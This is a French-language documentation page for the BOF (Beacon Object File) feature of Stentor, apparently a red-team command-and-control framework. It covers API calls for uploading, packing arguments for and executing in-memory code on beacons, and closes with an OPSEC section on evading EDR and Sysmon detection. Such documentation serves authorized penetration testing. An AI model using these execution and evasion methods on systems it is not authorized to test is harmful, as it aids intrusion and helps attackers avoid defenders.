Aller au contenu

Fichiers d'objets de beacon (BOF)

Les fichiers objets Beacon sont des fichiers objets C compilés (.o) qui s'exécutent en ligne dans le processus du beacon. Contrairement aux techniques fork-and-run qui génèrent un processus sacrificiel, les BOF s'exécutent directement dans l'espace mémoire du beacon : pas de création de processus enfant, pas d'injection entre processus et pas d'artefacts sur le disque.

Stentor fournit une bibliothèque BOF côté serveur pour stocker et gérer les BOF, un utilitaire de regroupement d'arguments pour la sérialisation des arguments binaires et une API d'exécution qui distribue les BOF aux beacons en tant que tâches.

Qu’est-ce qu’un BOF ?

Un BOF est un fichier objet COFF (Common Object File Format) compilé à partir d’une source C. Le chargeur BOF du beacon résout les importations, déplace les symboles et appelle la fonction de point d'entrée. Les BOF ont accès à l'API Windows et à l'API interne du beacon (sortie, jeton, etc.) via un mécanisme de résolution de fonction dynamique (DFR). Au retour du BOF, sa mémoire est libérée.


Architecture

sequenceDiagram
    participant Operator as Operator
    participant API as Stentor API
    participant Library as BOF Library (DB)
    participant Queue as Task Queue
    participant Beacon as Beacon

    Note over Operator,Library: BOF Upload (one-time)
    Operator->>API: POST /cockpit/bof/upload (multipart)
    API->>Library: Store BOF binary + metadata
    API-->>Operator: {id, name, size}

    Note over Operator,Beacon: BOF Execution
    Operator->>API: POST /cockpit/bof/execute {bof_id, args}
    API->>Library: Load BOF binary by ID
    API->>Queue: Enqueue "bof" task with base64 data
    API-->>Operator: {task_id, status: "queued"}
    Beacon->>Queue: Poll for tasks
    Queue-->>Beacon: BOF task (bof_data + packed args)
    Beacon->>Beacon: COFF loader: relocate, resolve, execute
    Beacon->>API: Submit task result (BOF output)

Gestion de la bibliothèque BOF

La bibliothèque BOF stocke les fichiers objets compilés dans la base de données avec des métadonnées. Les données binaires sont stockées sous BYTEA : le point de terminaison de la liste renvoie uniquement des métadonnées (pas de blobs binaires) pour plus d'efficacité.

Télécharger un BOF

POST /api/v1/cockpit/bof/upload

Téléchargez un fichier objet BOF compilé dans la bibliothèque. Utilise le codage de formulaire en plusieurs parties.

Champs du formulaire :

Champ Type Obligatoire Description
name chaîne Oui Nom lisible par l'homme pour le BOF
description chaîne Non Description de ce que fait le BOF
arch chaîne Non Architecture cible : x64 ou x86 (par défaut : x64)
entry_point chaîne Non Nom de la fonction d'entrée (par défaut : go)
bof fichier Oui Le fichier objet .o compilé
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/upload \
  -H "Authorization: Bearer $TOKEN" \
  -F "name=whoami" \
  -F "description=BOF implementation of whoami /all" \
  -F "arch=x64" \
  -F "entry_point=go" \
  -F "bof=@/path/to/whoami.x64.o"

Réponse (201 créées) :

{
  "id": "a3b1c2d4-...",
  "name": "whoami",
  "size": 4096
}

Liste des BOF

GET /api/v1/cockpit/bof/list

Renvoie tous les BOF de la bibliothèque. Les données binaires sont exclues : seules les métadonnées et la taille calculée sont renvoyées.

curl -s https://stentor.app/api/v1/cockpit/bof/list \
  -H "Authorization: Bearer $TOKEN"

Champs de réponse :

Champ Type Description
id chaîne UUID BOF
name chaîne Nom du BOF
description chaîne Description du BOF
arch chaîne Architecture (x64 ou x86)
entry_point chaîne Nom de la fonction d'entrée
size int Taille binaire en octets
created_at chaîne Horodatage de création ISO 8601

Supprimer un BOF

DELETE /api/v1/cockpit/bof/:id

Supprimez un BOF de la bibliothèque. Cela supprime à la fois les métadonnées et les données binaires stockées.

curl -s -X DELETE https://stentor.app/api/v1/cockpit/bof/BOF_UUID \
  -H "Authorization: Bearer $TOKEN"

Réponse (200 OK) :

{
  "deleted": "a3b1c2d4-..."
}

Exécution du BOF

POST /api/v1/cockpit/bof/execute

Exécuter un BOF sur un beacon cible. Le BOF peut être référencé par l’ID de bibliothèque ou fourni sous forme d’octets bruts codés en base64.

Corps de la demande :

Champ Type Obligatoire Description
beacon_id chaîne Oui UUID du beacon cible
bof_id chaîne Non UUID d'un BOF dans la bibliothèque (mutuellement exclusif avec bof_data)
bof_data chaîne Non Octets BOF bruts codés en base64 (mutuellement exclusifs avec bof_id)
args chaîne Non Arguments compressés codés en base64 (voir Argument Packing)
entry_point chaîne Non Remplacer le nom de la fonction d'entrée (par défaut : valeur de la bibliothèque ou go)

Bibliothèque vs Raw

Utilisez bof_id pour référencer un BOF pré-téléchargé à partir de la bibliothèque : le serveur charge le binaire, l'encode en base64 et l'inclut dans la tâche. Utilisez bof_data pour l'exécution ad hoc de BOF non stockés dans la bibliothèque.

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bof_id": "BOF_UUID",
    "args": "BASE64_PACKED_ARGS"
  }'
# Base64-encode the BOF file and execute directly
BOF_B64=$(base64 -w0 /path/to/enum_users.x64.o)

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"beacon_id\": \"BEACON_UUID\",
    \"bof_data\": \"$BOF_B64\",
    \"entry_point\": \"go\"
  }"

Réponse (202 acceptées) :

{
  "task_id": "e5f6a7b8-...",
  "beacon_id": "BEACON_UUID",
  "status": "queued"
}

Le résultat de la tâche est récupéré en interrogeant la liste des tâches du beacon jusqu'à ce que l'état de la tâche soit completed. La sortie de la tâche contient la sortie imprimée du BOF (via BeaconPrintf / BeaconOutput).


Emballage des arguments

Les BOF reçoivent des arguments sous forme de tampon binaire compressé. L'API d'emballage d'arguments sérialise les arguments saisis au format binaire bof_pack utilisé par le chargeur BOF du beacon.

POST /api/v1/cockpit/bof/pack

Regroupez les arguments au format binaire codé en base64 pour l'exécution de BOF.

Corps de la demande :

Champ Type Obligatoire Description
format chaîne Oui Chaîne de format spécifiant les types d'arguments (un caractère par argument)
arguments tableau Oui Tableau d'objets d'argument typés

Spécificateurs de format :

Spécificateur Type Valeur Disposition binaire
b Objet blob binaire Chaîne codée en base64 [4-byte LE length][raw bytes]
i Entier de 32 bits Numéro JSON [4-byte LE int32]
s 16 bits court Numéro JSON [2-byte LE int16]
z Chaîne ANSI Chaîne [4-byte LE length][string + null terminator]
Z Chaîne large (UTF-16LE) Chaîne [4-byte LE length][UTF-16LE + null (2 bytes)]

Chaque objet argument a :

Champ Type Description
type chaîne Caractère spécificateur de format (b, i, s, z, Z)
value n'importe quel La valeur de l'argument (le type dépend du spécificateur)

Alignement format-argument

La longueur de la chaîne format doit correspondre exactement à la longueur du tableau arguments, et le champ type de chaque argument doit correspondre au caractère de format correspondant. Les discordances renvoient une erreur 400 Bad Request.

Exemple : regroupez une chaîne et un argument entier :

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "format": "zi",
    "arguments": [
      {"type": "z", "value": "CORP\\Administrator"},
      {"type": "i", "value": 1}
    ]
  }'

Réponse :

{
  "packed": "EgAAAA...",
  "size": 28
}

La valeur packed est transmise directement en tant que champ args dans la requête d'exécution BOF.

Exemple : flux de travail complet (package puis exécution) :

# Step 1: Pack arguments
PACKED=$(curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "format": "Zi",
    "arguments": [
      {"type": "Z", "value": "DC01.corp.local"},
      {"type": "i", "value": 389}
    ]
  }' | jq -r '.packed')

# Step 2: Execute BOF with packed arguments
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"beacon_id\": \"BEACON_UUID\",
    \"bof_id\": \"BOF_UUID\",
    \"args\": \"$PACKED\"
  }"

Considérations OPSEC

Surface de détection

L'exécution de BOF se produit entièrement en cours de processus : pas de création de processus enfant, pas d'injection entre processus. Cela rend les BOF beaucoup plus difficiles à détecter que les techniques fork-and-run. Cependant, le comportement du BOF (appels API, connexions réseau, accès au registre) est toujours soumis à la surveillance EDR.

  • MITRE ATT&CK : T1620 (Chargement de code réfléchissant)
Préoccupation Atténuation
Exécution en cours Les BOF s'exécutent dans le processus du beacon. Un crash dans un BOF fait planter le beacon. Testez les BOF dans un laboratoire avant de les déployer sur des beacons de production.
Artefacts de mémoire La mémoire BOF est libérée après l'exécution, mais les allocations transitoires peuvent laisser des artefacts résiduels dans le tas de processus.
Modèles d'appel d'API Les BOF qui appellent des API suspectes (par exemple, OpenProcess, MiniDumpWriteDump) sont soumis à la même détection comportementale que tout autre code. Combinez-le avec syscall-method indirect et beacon_gate enable pour une évasion au niveau des appels système.
Aucun processus enfant Les BOF évitent l'événement Sysmon 1 (création de processus) et l'événement 8 (CreateRemoteThread) : ce sont les principaux vecteurs de détection pour les alternatives fork-and-run.
Point d'entrée Le point d'entrée par défaut go est une convention BOF bien connue. Les points d'entrée personnalisés n'offrent pas d'avantages d'évasion significatifs mais peuvent être utilisés pour les BOF avec des noms de fonction non standard.

BOF contre Fork-and-Run

Préférez les BOF aux fork-and-run (execute-assembly, powerpick) dans les environnements à forte intensité EDR. Fork-and-run crée un processus sacrificiel (détectable via des événements de création de processus), injecte du code (détectable via des écritures de mémoire inter-processus) et capture la sortie via un canal nommé (détectable via des événements de création de canal). Les BOF évitent tous ces artefacts.

Développement BOF

Les BOF sont compilés avec cl.exe (MSVC) ou x86_64-w64-mingw32-gcc (compilateur croisé MinGW) en utilisant l'indicateur /c pour produire un fichier objet sans liaison. L'en-tête beacon.h fournit l'API beacon (fonctions de sortie, gestion des jetons, analyse des arguments). Consultez la documentation TrustedSec BOF pour obtenir des conseils de développement.